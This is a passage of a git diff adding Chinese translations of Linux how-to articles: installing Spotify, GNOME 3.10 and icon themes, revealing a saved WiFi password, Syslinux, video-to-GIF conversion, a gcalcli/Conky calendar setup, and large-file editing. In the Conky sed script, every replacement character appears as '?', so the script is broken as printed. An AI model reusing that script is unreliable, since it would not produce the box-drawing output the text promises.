+![](http://www.liberiangeek.net/wp-content/uploads/2014/01/spotifycountrylist.jpg) + +### 在 Ubuntu 安装上声破天 ### + +要想在 Ubuntu 上安装声破天,需要打开终端然后输入下面命令,将声破天的软件仓库添加到 Ubuntu + + sudo apt-add-repository -y "deb http://repository.spotify.com stable non-free" + +下一步,将声破天的仓库密钥添加到 Ubuntu,运行下面命令: + + sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 94558F59 + +最后,更新系统的软件包仓库并且安装声破天,运行下面命令: + + sudo apt-get update && sudo apt-get install spotify-client + +就这么简单! + +在安装完声破天后,你需要打开 Ubuntu 的面板,在里面找到这个软件。打开后,尽情享受你的免费音乐吧! + +![](http://www.liberiangeek.net/wp-content/uploads/2014/01/spotifyclientubuntu.png) + + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2014/01/daily-ubuntu-tips-use-spotify-in-ubuntu-linux/ + +译者:[liuaiping](https://github.com/liuaiping) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201402/Find Saved WiFi Password In Linux Mint 16 [Beginner].md b/published/201402/Find Saved WiFi Password In Linux Mint 16 [Beginner].md new file mode 100644 index 0000000000..a314271677 --- /dev/null +++ b/published/201402/Find Saved WiFi Password In Linux Mint 16 [Beginner].md @@ -0,0 +1,33 @@ +新手教程——在Linux Mint 16中找到保存的WiFi密码 +================================================================================ + +当你使用 WEP,WPA 或 WPA2-PSK 连接到无线网络时,选择“自动连接”后密码将保存在Linux Mint(或任何其他的操作系统)中。试想一个情况,例如你需要提供密码给来访者,这时你需要知道WiFi密码,然而你有没有把它记下来。你可以轻松地找到之前连接的WiFi密码。 + +在这篇**新手教程**中,我们将会指导你**如何在 Linux Mint 16 中找到保存的 WiFi 密码**。 + +### 在 Linux Mint 中找到保存的 WiFi 密码: ### + +找到保存的 WiFi 密码,其实过程非常简单。点击 Menu 输入network。在其中选择**Network Connections**。 + +![](http://itsfoss.com/wp-content/uploads/2014/01/Saved-Wifi-Password-1.jpeg) + +在 Network Connections 中,你可以看到所有你最近链接过的 WiFi 网络。选择你想要知道密码的一个,点击**Edit**。 + +![](http://itsfoss.com/wp-content/uploads/2014/01/Saved-Wifi-Password-2.png) + +在 **Wi-Fi Security** 选项卡下,选中 **Show password** 来显示密码。 + +![](http://itsfoss.com/wp-content/uploads/2014/01/Saved-Wifi-Password-3.png) + +通过以上步骤,你就可以得到保存的 WiFi 密码。你也可以通过类似的步骤[在 Ubuntu 中获取保存的 WiFi 密码][1]。希望这篇文章能够帮到你。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/find-wifi-password-linux-mint-16/ + +译者:[乌龙茶](https://github.com/yechunxiao19) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://itsfoss.com/how-to-find-saved-wireless-wifi-passwords-ubuntu/ + diff --git a/published/201402/How To Install Gnome 3.10 In Ubuntu 13.10.md b/published/201402/How To Install Gnome 3.10 In Ubuntu 13.10.md new file mode 100644 index 0000000000..6617c8fe0e --- /dev/null +++ b/published/201402/How To Install Gnome 3.10 In Ubuntu 13.10.md @@ -0,0 +1,76 @@ +如何在 Ubuntu 13.10 中安装 Gnome 3.10 +================================================================================ + +![](http://itsfoss.com/wp-content/uploads/2014/01/Install_Gnome_310_Ubuntu_1310.jpeg) + +厌倦 Unity 了吗?或者说就是不喜欢它?为何不试试**在 Ubuntu 13.10 中安装 Gnome 3.10**?安装一个新的桌面环境是为数不多的[安装Ubuntu 13.10后要做的事][1]之一,如果你想要尝试一下。在这篇快速教程中我们将会分享**如何在 Ubuntu 13.10 中安装 Gnome 3.10**。 + +### 在 Ubuntu 13.10 中安装 Gnome 3.10: ### + +我们将花费一些时间来使用几个 PPA 安装 Gnome 3.10 和分配升级。我假设你网速不错,如果不是的话,你可以使用一些[小技巧来提高 Ubuntu13.10 的系统性能][2]。 + +#### 第一步:安装 GDM [可选] #### + +第一步是安装[GDM][3]以及默认的[LightDM][4]。这是可选的,但是还是建议各位如很多人提醒的LightDM问题(这句话不通顺,但是不太理解,还请组长看一下)。打开终端(Ctrl+Alt+T),并使用下面的命令: + + sudo apt-get install gdm + +出现提示时选择 GDM。 + +#### 第二步:添加PPAs并升级系统 #### + +现在是时候添加 Gnome 3.10 PPA 了。使用以下命令添加 PPA 将需要一些时间并下载 200 MB 的数据。 + + sudo add-apt-repository ppa:gnome3-team/gnome3-next + sudo add-apt-repository ppa:gnome3-team/gnome3-staging + sudo apt-get update + sudo apt-get dist-upgrade + +#### 第三步:安装 Gnome shell #### + +一旦升级已经完成,可以使用下面的命令在 Ubuntu 中安装 Gnome3.10。 + + sudo apt-get install gnome-shell + +#### 第四步:安装 Gnome 特定的应用程序 [可选] #### + +这一步是可选的。你可能想安装一些 Gnome 特定的应用程序以达到 Gnome 3.10 在 Ubuntu 中得完美体验。你也许会遇到一些应用程序的相关问题。 + + sudo apt-get install gnome-weather gnome-music gnome-maps gnome-documents gnome-boxes gnome-shell-extensions gnome-tweak-tool gnome-clocks + +这些就是所有你需要做的。重新启动计算机,在登录时,通过点击齿轮标志选择 Gnome。这里是我的 Gnome 3.10 在我的笔记本电脑上的效果: + +![](http://itsfoss.com/wp-content/uploads/2014/01/Gnome_310_Ubuntu_1310.jpeg) + +### 卸载 Gnome 3.10: ### + +不喜欢 Gnome 3.10 了?不用担心,通过[deleting PPA][5]卸载它们。要做到这一点,你需要安装 PPA Purge(如果尚未安装)。使用下面的命令: + + sudo apt-get install ppa-purge + +之后,安装你所安装的 PPA: + + sudo ppa-purge ppa:gnome3-team/gnome3-staging + sudo ppa-purge ppa:gnome3-team/gnome3-next + +在 Ubuntu13.10 版本库中是可以恢复 Gnome 3.10 到 Gnome 3.8。要想完全删除 Gnome 3,使用以下命令: + + sudo apt-get remove gnome-shell ubuntu-gnome-desktop + +当然,你应该删除任何你专为 Gnome 3.10 安装的应用程序。 + +我希望本教程能帮助你在 Ubuntu 13.10 中安装 Gnome 3.10。尝试 Gnome 3.10了吗?你更喜欢哪一个,Gnome 还是 Unity? + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/install-gnome-3-ubuntu-1310/ + +译者:[乌龙茶](https://github.com/yechunxiao19) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://itsfoss.com/things-to-do-after-installing-ubuntu-13-10/ +[2]:http://itsfoss.com/speed-up-ubuntu-1310/ +[3]:https://wiki.gnome.org/Projects/GDM +[4]:http://en.wikipedia.org/wiki/LightDM +[5]:http://itsfoss.com/how-to-remove-or-delete-ppas-quick-tip/ diff --git a/published/201402/How To Install Icon Themes In Linux Mint 16 [Beginner Tip].md b/published/201402/How To Install Icon Themes In Linux Mint 16 [Beginner Tip].md new file mode 100644 index 0000000000..54ef8f4460 --- /dev/null +++ b/published/201402/How To Install Icon Themes In Linux Mint 16 [Beginner Tip].md @@ -0,0 +1,47 @@ +如何在 Linux Mint 16 中安装图标主题 +================================================================================ + +如果你觉得默认的 Mint 主题和图标并不足以满足你,为何不来点改变呢?在这篇初学者快速教程中,我们会指导你如何**在Linux Mint 16中安装图标主题**以及**如何改变图标**。我们将通过安装绚丽的 Moka 图标主题来学习本教程。 + +小小提一下,可能你以前不知道,主题和图标主题之间是有区别的。图标主题只是改变图标的外观,而主题则改变了包括图标在内其余很多东西的外观。 + +### 在 Linux Mint 16 中安装图标主题: ### + +在Linux Mint(以及其他大部分的Linux发行版)中有个两种方法来安装图标主题。如果你下载了图标主题的压缩包,你可以在~/.icons目录下解压它。通常这个目录并不存在,你可以随意创建它。 + +安装图标主题的第二种方法是使用 [PPA][1]。大多数流行的图标主题都有自己的 PPA。让我们来看看如何使用 PPA 在 Mint 中安装 Moka 图标。 + +### 在 Linux Mint 16 中安装 Moka 图标主题: ### + +打开 terminal(Ctrl+Alt+T)并输入下面的命令: + + sudo add-apt-repository ppa:moka/moka-icon-theme + sudo apt-get update + sudo apt-get install moka-icon-theme + +### 在 Linux Mint 16 中改变图标: ### + +[在 Ubuntu 中改变图标主题][2]是非常简单直接的。不过在 Linux Mint 中稍微隐藏了一下。你安装了图标主题后,在菜单中选择 **Setting**,然后选择 **Themes**。 + +![](http://itsfoss.com/wp-content/uploads/2014/01/Chnage_Icon_themes_1.jpeg) + +现在你可能已经明白为什么我说在 Linux Mint 中的图标更改稍微隐藏了。至少第一眼,你不会找到一个选项来改变图标。只改变图标,选择 **Other settings** 并点击 **Icons**。你会在这里找到所有的图标设置。选择你喜欢的一个。 + +![](http://itsfoss.com/wp-content/uploads/2014/01/Change_Icon_Linux_Mint.jpeg) + +改变会立即生效,并不需要重启。下面是我的 Linux Mint 使用 Moka 图标主题后的桌面: + +![](http://itsfoss.com/wp-content/uploads/2014/01/Moka_Linux_Mint_16.jpeg) + +我希望这篇教程能帮助你实现图标主题的修改。不要忘记 Ubuntu 13.10 的5个最好图标主题,你可以使用任何你喜欢的图标主题来使你的桌面变得更漂亮。如有任何问题、建议以及想法,请在下面评论栏留下您的评论。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/install-icon-linux-mint/ + +译者:[乌龙茶](https://github.com/yechunxiao19) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://en.wikipedia.org/wiki/Personal_Package_Archive +[2]:http://itsfoss.com/how-to-install-themes-in-ubuntu-13-10/ diff --git a/published/201402/How To Properly Install Ubuntu One In Linux Mint 16.md b/published/201402/How To Properly Install Ubuntu One In Linux Mint 16.md new file mode 100644 index 0000000000..5301296949 --- /dev/null +++ b/published/201402/How To Properly Install Ubuntu One In Linux Mint 16.md @@ -0,0 +1,35 @@ +如何在Linux Mint 16中正确安装Ubuntu One +================================================================================ +![](http://itsfoss.com/wp-content/uploads/2014/01/Ubuntu-One-Linux-Mint.jpg) + +由于[Linux Mint][1]是基于 Ubuntu 的,所以我认为 Ubuntu One 应该是预装程序之一。不过我错了。我自行从 Software Manager 安装了 Ubuntu One,令我惊讶的是,它居然无法正常运行。在这篇教程中我们会告诉你**如何在 Linux Mint 16中安装 Ubuntu One** 以及如何正常运行它。 + +### 在Linux Mint 16 中安装 Ubuntu One: ### + +当你通过 Software Manager 安装 Ubuntu One 客户端以后,你准备打开并配置它时,你甚至都无法在菜单搜索里面找到它。就像是完全没有安装过一样。但你查看 Software Manager,又显示它已经安装完成了。问题到底出在哪了? + +问题的关键是 **Ubuntu One installer** 需要 **ubuntuone-control-panel-qt** 包。这个包没有安装,你的 Ubuntu One 的安装过程就无法运行。要解决这个问题,打开终端 (Ctrl+Alt+T)并运行下面的命令: + + sudo apt-get install ubuntuone-control-panel-qt + +现在你在菜单里面搜索,你会发现 Ubuntu One 已经存在了。现在你可以配置账户,选择哪些同步和哪些不同步。现在你可能觉得你已经解决了所有的问题,这时你会发现 **Ubuntu One 指示器并没出现在面板上**。 + +### 在 Linux Mint 16 中安装 Ubuntu One indicator: ### + +你可以通过添加以下的 PPA 在 Linux Mint 中获取 Ubuntu One indicator 程序: + + sudo add-apt-repository ppa:rye/ubuntuone-extras + sudo apt-get update + sudo apt-get install indicator-ubuntuone + +注销并重新登录后,你会看到这个指示器已经出现在面板中。与此同时,你的 Ubuntu One 也全部安装完成了。我希望这篇 **在 Linux Mint 中安装 Ubuntu One** 会对你有所帮助。欢迎提出问题和建议。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/ubuntu-one-linux-mint-16/ + +译者:[乌龙茶](https://github.com/yechunxiao19) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.linuxmint.com/ diff --git a/published/201402/How to Replace GRUB with Syslinux on Arch Linux.md b/published/201402/How to Replace GRUB with Syslinux on Arch Linux.md new file mode 100644 index 0000000000..856c50171b --- /dev/null +++ b/published/201402/How to Replace GRUB with Syslinux on Arch Linux.md @@ -0,0 +1,46 @@ +在Arch上使用Syslinux替代GRUB +================================================================================ + +这个教程用于教授Arch Linux用户如何在Arch下安装Syslinux——一个轻量级、快速并且现代感十足的系统引导程序,用来替换掉系统自带的GRUB引导程序。 + +![](http://i1-news.softpedia-static.com/images/news2/How-to-Replace-GRUB-with-Syslinux-on-Arch-Linux-415394-2.jpg) + +实际上,Syslinux不是一个简单的开机启动装载程序,它支持多种启动引导方式,本地载入,通过PXE网络载入,以及通过可移动媒体载入。并且,它还同时支持MBR和GPT磁盘,以及RAID设置。 + +在开始你实际操作之前,你应该知道Syslinux支持如下文件系统:FAT,EXT2,EXT3,EXT4和Btrfs,而且Syslinux能够运行在支持UEFI或BIOS的机器上。到目前为止,Syslinux还不能访问自己所在的分区之外的文件。 + +在你替换GRUB启动之前,请认真考虑,这只是一个可选的尝试,这个尝试有可能会给你带来一些麻烦。如果说你只是想感受一下新鲜的事物,或是已经厌倦了GRUB的界面,没问题来尝试尝试Syslinux吧。 + +###在Arch box 中安装Syslinux ### + +该说的都说完了,下面我们来开始安装Syslinux,准备替换掉已有的GRUB或者GRUB2启动程序。打开一个终端,输入如下命令来安装Syslinux + + sudo pacman -S syslinux + +安装完成后,你应该注意到一条消息,将指导您如何分别在BIOS或UEFI机器上部署Syslinux引导装载程序。BIOS用户比较幸运,因为他们只需要运行syslinux-install_update 脚本就行了,这个脚本是Matthew Gyurgyik编写的,用来在BIOS机器上成功的部署Syslinux。 + +###在Arch box上部署Syslinux### + +如果你拥有的是一个单独的/boot分区,你要保证你是在/boot分区上执行的这个脚本。在终端中输入如下命令: + + sudo syslinux-install_update -i -a -m + +这个脚本会安装必需的文件,并且用启动标记标记分区,同时会安装MBR引导代码。 + +###配置Syslinux### + +这是非常非常重要的一步,任何人都不能忽略它,因为如果你的Syslinux没有正确的配置,你的电脑将不能启动。请再次注意。 + +目前,Syslinux能通过/boot/syslinux/syslinux.cfg文件进行配置。在[the official Arch Linux page of Syslinux][1] 中查看详细的配置指令。当你配置成功后,重启你的系统然后来看看新的启动引导程序效果如何! + +如果你有任何的问题,请毫不犹豫的在评论中提出! + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/How-to-Replace-GRUB-with-Syslinux-on-Arch-Linux-415394.shtml + +译者:[dy2009](https://github.com/dy2009) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://wiki.archlinux.org/index.php/syslinux#Configuration diff --git a/published/201402/How to convert video to animated gif image on Linux.md b/published/201402/How to convert video to animated gif image on Linux.md new file mode 100644 index 0000000000..2bb0035cf8 --- /dev/null +++ b/published/201402/How to convert video to animated gif image on Linux.md @@ -0,0 +1,70 @@ +在Linux上将视频转换成动态gif图片 +================================================================================ +虽然曾经被认为是过时的艺术形式,但动态GIF图片现在复苏了。如果你还没有留意到,不少在线分享和社交网络网站都开始支持动态GIF图片,例如,[Tumblr][1],[Flickr][2],[Google+][3]和[Facebook的部分地方][4]。由于在消费和共享上的容易,GIF的动画已经成为主流互联网文化的一部分了。 + +所以,你们中的一些人会好奇怎样才能生成这样的动态GIF图片。已经有各种各样专门用来生成动态GIF图片的在线或离线工具。另一种选择是创建一副动态GIF图片时关闭现有的视频剪辑。在这个教程中,我会描述**在Linux上如何将一段视频文件转换成一副动态GIF图片**。 + +作为一个更有用的例子,让我展示如何**将一个YouTube视频转换成一副动态GIF图片**。 + +### 第一步:下载YouTube视频 ### + +首先,下载一个你想要转换的YouTube视频。你可以使用[youtube-dl][5]这个工具将YouTube视频保存为MP4文件。假设你把你最爱的YouTube视频保存为"funny.mp4"。(译注:对于墙内的同学,请无视YT吧,自行去好人楼主那里寻找一个MP4吧,;-}) + +### 第二步:从视频中解压视频帧 ### + +接下来,在Linux系统上[安装FFmpeg][5],我会用这个工具去解压从视频中解压出视频帧。 + +下面的指令会解压出独立的视频帧,将它们保存为GIF图片。确保使用诸如("out%04d.gif")的输出文件格式。这样,独立的帧就被合适地命名并保存。 + + ffmpeg -t <时长> -ss -i <视频文件> out%04d.gif + +例如,如果你想解压输入视频的视频帧,从第10秒开始,每5秒一帧,请运行下列命令。 + + $ ffmpeg -t 5 -ss 00:00:10 -i funny.mp4 out%04d.gif + +在完成FFmpeg之后,你会看到一组创建出来的GIF文件,它们被命名为"out[\d+].gif"。 + +### 第三步:合并视频帧进一副动态GIF ### + +下面这一步要合并单个的GIF文件成一副动态GIF图片。为此,你可以使用ImageMagick。 + +首先,如果你还没有的话,在Linux系统上[安装ImageMagick][7]。 + + convert -delay <帧数>x<每秒帧数> -loop 0 out*gif <输出文件> + +在这个命令中,"-delay"是控制动态速度的选项。这个选项表示在显示下一帧画面前需要等待的秒数:帧数/每秒帧数 。"-loop 0"选项表示动画的无限次循环。如果你愿意,你可以指定"-loop N"让动画只重复N次。 + +例如,为了生成一副每秒20帧和循环无数次的动态GIF图片,使用如下命令。 + + $ convert -delay 1x20 -loop 0 out*.gif animation.gif + +### 第四步(可选):减少动态GIF的大小 ### + +最后这一步(可选)是通过使用ImageMagick的GIF优化功能来减少生成的GIF文件的大小。 + +使用下列命令去减少GIF大小。 + + convert -layers Optimize animation.gif animation_small.gif + +现在你已经准备好在你的社交网络上分享制作完成的GIF图片。下面是一副我从一个可爱的YouTube视频中生成的GIF样例图片。 + +享受技术带来的乐趣吧!:-) + +[![](http://farm8.staticflickr.com/7372/10988763123_4e89a18085_o.gif)][8] + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2013/11/convert-video-animated-gif-image-linux.html + +译者:[KayGuoWhu](https://github.com/KayGuoWhu) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://staff.tumblr.com/post/15623140287/1mb-gifs +[2]:http://www.flickr.com/photos/markus-weldon-imagebank/4439159924/sizes/o/in/photostream/ +[3]:https://plus.google.com/communities/110524851358723545415 +[4]:http://mashable.com/2013/08/29/gifs-return-to-facebook/ +[5]:http://xmodulo.com/2013/03/how-to-save-youtube-videos-on-linux.html +[6]:http://xmodulo.com/2013/06/how-to-install-ffmpeg-on-linux.html +[7]:http://ask.xmodulo.com/install-imagemagick-linux.html +[8]:http://www.flickr.com/photos/xmodulo/10988763123/ diff --git a/published/201402/How to integrate Google Calendar in Linux desktop.md b/published/201402/How to integrate Google Calendar in Linux desktop.md new file mode 100644 index 0000000000..5789db2e30 --- /dev/null +++ b/published/201402/How to integrate Google Calendar in Linux desktop.md @@ -0,0 +1,207 @@ +如何在Linux桌面墙纸上显示Google Calendar +================================================================================ + +Google Calendar 是时下最流行的网页应用程序之一。用户可以通过网络接口或者本地的应用程序跨设备访问或同步 Google Calendar。在 Linux 上,有很多方法可以本地访问 Google Calendar,比如用电子邮件客户端插件(如 Evolution 或 Thunderbird )或者用日历应用程序(如 Sunbird 或 Rainklendar)。这些方法通常都需要安装不必要的大型软件,这些软件你很可能根本不需要。 + +如果你只是想在本地的 Linux 上翻翻 Google Calendar 或者用它设置提醒,那么你可以考虑使用[Google Calendar 命令行接口(或者 gcalcli)][1],这是一种更轻型化的方法。对于 Linux 桌面操作系统用户来说,好处不止这些,如果将 gcalcli 与[Conky][2]搭配使用你就可以把 Google Calendar 透明地融入桌面主题。 + +在这个教程中,我会展示**如何利用 gcalcli 和 Conky 将 Google Calendar 融入 Linux 桌面** + +### 在 Linux 安装 gcalcli ### + +在安装 gcalcli 之前,要确保你正在用的是 Python 2 而不是 Python 3 ,因为 Python 3 与 gcalcli 不兼容。 + +如果是在 Debian、Ubuntu 或 Linux Mint 上可以用下面的命令安装 gcalcli + + $ sudo apt-get install git python-pip python-gdata python-dateutil python-gflags python-vobject python-parsedatetime + $ sudo pip install google-api-python-client + $ sudo pip install apiclient urllib3 + $ git clone https://github.com/insanum/gcalcli.git + $ cd gcalcli + $ sudo python setup.py install + +**温馨提醒**:Ubuntu 或 Linux Mint 的软件库中虽然有 gcalcli,但是这些版本并不包含其最新的特性和针对 bug 的修复。所以这里推荐按以上所述的方法由源文件构建 gcalcli。 + +对于Fedora 、CentOS 或 RHEL,可按如下方法安装。 + + $ sudo yum install git python-pip python-gdata python-dateutil python-gflags python-vobject + $ sudo pip install google-api-python-client + $ sudo pip install apiclient urllib3 + $ git clone https://github.com/insanum/gcalcli.git + $ cd gcalcli + $ sudo python setup.py install + +### gcalcli 的 Google 认证 #### + +为了能让 gcalcli 访问 Google Calendar ,你需要用你的 Google 帐号通过 OAuth2 认证,以使 gcalcli 获得许可来访问你的 Google Calendar。 + +第一次运行 gcalcli 的时候,OAuth2 认证会自动进行初始化。因此运行下面的命令开始 + + $ gcalcli agenda + +该命令会输出如下的一个 URL 。 + +[![](http://farm4.staticflickr.com/3791/11216331146_d2c5f95963_z.jpg)][3] + +同时这个命令也会弹出一个指向该 URL 的浏览器窗口。如果因为一些原因,你的浏览器没有反应,你可以手动复制粘贴这个 URL 到你的浏览器中。 + +如果你还没有登录你的 Google 帐号,你得先登录。然后你会看到下面要求你许可 gcalcli 管理 Google Calendar 的信息。点击“Accept”即可。 + +[![](http://farm4.staticflickr.com/3810/11216308465_1008fc1bb3_z.jpg)][4] + +### 支持 Google Calendar API ### + +认证后,下一步就是支持 Google Calendar 的 API 访问。gcalcli 通过 Google Calendar API 访问Google Calendar 。但是,如果要使用 Google API 就必须明确设置你的 Google 帐号支持 Google API。 + +首先到:[https://cloud.google.com/console][5]。点击项目列表下的“API Project ” + +转到“APIs & auth ”下面的“APIs”你会看见一个 Google APIs 列表。点击“Calendar API”的开关按钮使其能支持 API。 + +现在转到“APIs & auth”下的“Registered apps”那里,去注册 gcalcli app。点击最顶端的“Registered app”按钮。 + +[![](http://farm8.staticflickr.com/7293/11216363656_c203b6dfa2_z.jpg)][6] + +填写 app 的名字(如,“My Gcalcli”),然后选择“ Native ”作为平台。点击“Registered”按钮。 + +这一步会生成并显示 OAuth 用户的 ID 和密码。另外关于上面提示的“You have not set up your product name(您没有设置您的产品名称)”,你可以忽略掉。 + +[![](http://farm3.staticflickr.com/2890/11216593546_312a564f1f_z.jpg)][7] + +OAuth的认证结果将会保存在 ~/.gcalcli_oauth 文本文件中。 + +### 用 gcalcli 在命令行中访问 Google Calendar ### + +你现在马上就可以用 gcalcli 访问Google Calendar 了。 + +在你的家目录创建一个如下的 gcalcli 配置文件。将你先前获得的 OAuth 用户 ID 和 密码按下面格式输入进去。 + + $ vi ~/.gcalclirc + +> --client_id='XXXXXXXXXX.apps.googleusercontent.com' +> --client_secret='YYYYYYYYYYYYYYYY' + +到了这一步,你应该可以在命令行运行 gcalcli 了。 + +试试下面的命令,这两个命令会分别打印出一个你的 Google Calendar 的列表和今后 5 天的日程安排。 + + $ gcalcli list + $ gcalcli agenda + +[![](http://farm4.staticflickr.com/3780/11216465043_c8f6d8967d_z.jpg)][8] + +### 将 gcalcli 与 Conky 结合 ### + +最后一步就是将 gcalcli 的输出导入你的桌面主题中。为了做到这一点,你需要 Conky 这个非常强大的工具,它可以把许多信息直接显示在你的桌面主题中。 + +首先在你的 Linux 系统上 [安装 Conky][9]。 + +然后,在你的家目录下的某个地方( 例如 ~/bin )创建如下的脚本程序。 + + $ vi ~/bin/gcal.sh + + #!/bin/sh + + gcalcli --conky calw 2 | + sed -e 's/^[(0\x71^[(B/?/g' \ + -e 's/^[(0\x78^[(B/?/g' \ + -e 's/^[(0\x6A^[(B/?/g' \ + -e 's/^[(0\x6B^[(B/?/g' \ + -e 's/^[(0\x6C^[(B/?/g' \ + -e 's/^[(0\x6D^[(B/?/g' \ + -e 's/^[(0\x6E^[(B/?/g' \ + -e 's/^[(0\x74^[(B/?/g' \ + -e 's/^[(0\x75^[(B/?/g' \ + -e 's/^[(0\x76^[(B/?/g' \ + -e 's/^[(0\x77^[(B/?/g' + + $ chmod +x ~/bin/gcal.sh + + +**重要提醒**:上面脚本中的 ‘^[’ 必须是**真正的 ESCAPE 键**( 也就是说在 vi 中按 Ctrl-V 然后按 Esc )。 + + +这个脚本程序将 VT100 转义序列转成Unicode组件图字符。这是[必须的一步][10],因为 Conky 不支持 gcalcli 使用的 ANSI 字符画。 + +最后,在你的家目录中创建下面的 Conky 配置文件。 + + $ vi ~/.conkyrc + + alignment top_right + maximum_width 630 + minimum_size 330 10 + gap_x 25 + gap_y 50 + + own_window yes + own_window_type conky + own_window_hints undecorated,below,sticky,skip_taskbar,skip_pager + own_window_transparent yes + own_window_argb_visual yes + own_window_argb_value 0 + + update_interval 300 + background no + + border_width 1 + default_color cornflowerblue + default_outline_color white + default_shade_color white + double_buffer no + draw_borders no + draw_graph_borders no + draw_outline no + draw_shades no + max_port_monitor_connections 64 + max_specials 512 + max_user_text 16384 + text_buffer_size 8096 + no_buffers yes + out_to_console no + uppercase no + use_xft yes + xftfont Bitstream Vera Sans Mono:size=10 + + TEXT + *** Google Calendar Agenda *** + ${execpi 300 gcalcli --conky agenda} + ${execpi 300 ~/bin/gcal.sh} + +这个 Conky 配置文件会直接在你的桌面主题上显示你的 Google Calendar 的一个日程表和一个两个星期的时间表。 + +现在,你可以运行下面的命令激活 Conky。 + + $ conky + +你应该可以在 Linux 桌面的右边看到 Google Calendar。 + +[![](http://farm8.staticflickr.com/7390/11216377436_72d00cec49_z.jpg)][11] + +确认 Google Calendar 可以正常运行后,你可以将 Conky 设为在每次登录时自动启动。 + +### 设置 Google Calendar 提醒 ### + +gcalcli 也可以为 Google Calendar 中即将到来的事件发送一个提醒。它使用 notify-send 命令。对于 Google Calendar 提醒,你可以像下面一样设置一个工作进程。 + + $ crontab -l + +> */10 * * * * /usr/local/bin/gcalcli remind + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2013/12/integrate-google-calendar-linux-desktop.html + +译者:[Linchenguang](https://github.com/Linchenguang) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://github.com/insanum/gcalcli +[2]:http://conky.sourceforge.net/ +[3]:http://www.flickr.com/photos/xmodulo/11216331146/ +[4]:http://www.flickr.com/photos/xmodulo/11216308465/ +[5]:https://cloud.google.com/console +[6]:http://www.flickr.com/photos/xmodulo/11216363656/ +[7]:http://www.flickr.com/photos/xmodulo/11216593546/ +[8]:http://www.flickr.com/photos/xmodulo/11216465043/ +[9]:http://xmodulo.com/2013/12/install-configure-conky-linux.html +[10]:https://github.com/insanum/gcalcli/issues/97 +[11]:http://www.flickr.com/photos/xmodulo/11216377436/ diff --git a/published/201402/How to open a large text file on Linux.md b/published/201402/How to open a large text file on Linux.md new file mode 100644 index 0000000000..71a343c54d --- /dev/null +++ b/published/201402/How to open a large text file on Linux.md @@ -0,0 +1,114 @@ +Linux 中如何打开一个大文本文件 +================================================================================ +在“大数据”时代,我们会经常遇到有大文本文件(上 GB 或更大)的情况。假设需要我们手工的搜索和编辑这些大文件,或者为了解决一些特定的问题而需要手工分析多个上 GB 的日志文件。传统的文本编辑软件对处理这样的大文件不太有效,当我们试图打开一个大文件时会经常由于内存不足而郁闷的不行。 + +如果你是一个精明的系统管理员,你也许会用 cat、tail、grep、sed、awk 等这些命令的组合来打开和编辑一个文本文件。在这篇教程里,我将会谈论关于如何**在 Linux 中打开(并编辑)一个大文本文件**的更友好的方式方法。 + +### Vim 的 LargeFile 插件 ### + +Vim文本编辑器拥有大量的插件(或脚本),它们能扩展 VIM 的功能。其中的一个Vim插件是 [LargeFile 插件][1]。 + +LargeFile 插件可以使大文件更迅速的被加载和编辑,它是通过关闭 VIM 的一些像事件、回退、语法高亮等功能来实现的。 + +要在 VIM 上安装 LargeFile 插件,首先要确认是否已经安装 VIM。 + +在 Debian、 Ubuntu 或 Linux Mint 系统中: + + $ sudo apt-get install vim + +在 Fedora、CentOS 或 RHEL 系统中: + + $ sudo yum install vim-enhanced + +可以从 [Vim website][1] 上下载 LargFile 插件,最新版本号是5,下载的文件将会保存为 Vimball 格式(以 .vba 结尾)。 + +要在你的 home 目录下安装插件,用 VIM 打开 .vba 文件,如下所示。 + + $ gunzip LargeFile.vba.gz + $ vim LargeFile.vba + +在 VIM 窗体上输入 “:so %”,然后按回车键,就可以在你的 home 目录下安装这个插件了。 + +![](http://farm3.staticflickr.com/2805/11313669824_335e73ebb8_z.jpg) + +完成后,输入 “:q” 退出 VIM。 + +这个插件将会被安装在 ~/.vim/plugin/LargeFile.vim 下。现在可以像平常一样使用 VIM 了。 + +当在 VIM 中装载一个“大”文件的时候,这个插件起的作用就是关掉事件、回退、语法高亮等功能。默认情况下大于 100MB 的文件就会被插件认为是“大文件”。要改变也个默认设置,你可以编辑 ~/.vimrc 文件(如果不存在就创建一个)。 + +如要把大文件的标准最小定为 10MB 的话,可以在 ~/.vimrc 中添加 + +> let g:LargeFile=10 + +虽然 LargeFile 可以加速文件装载的速度,但 VIM 自身对编辑相当大的文件支持不太好,因为它会一下子把整个文件都加载进内存。例如,用 VIM 装载 1G 大小的文件,它就会占很多内存和交换空间,如下图所示的顶部输出。 + +![](http://farm6.staticflickr.com/5519/11313640366_0064c698ac_z.jpg) + +所以如果你的文件明显大于你 Linux 系统的物理内存的话,就要考虑其它的选择,如下所述。 + +### glogg 日志资源管理器 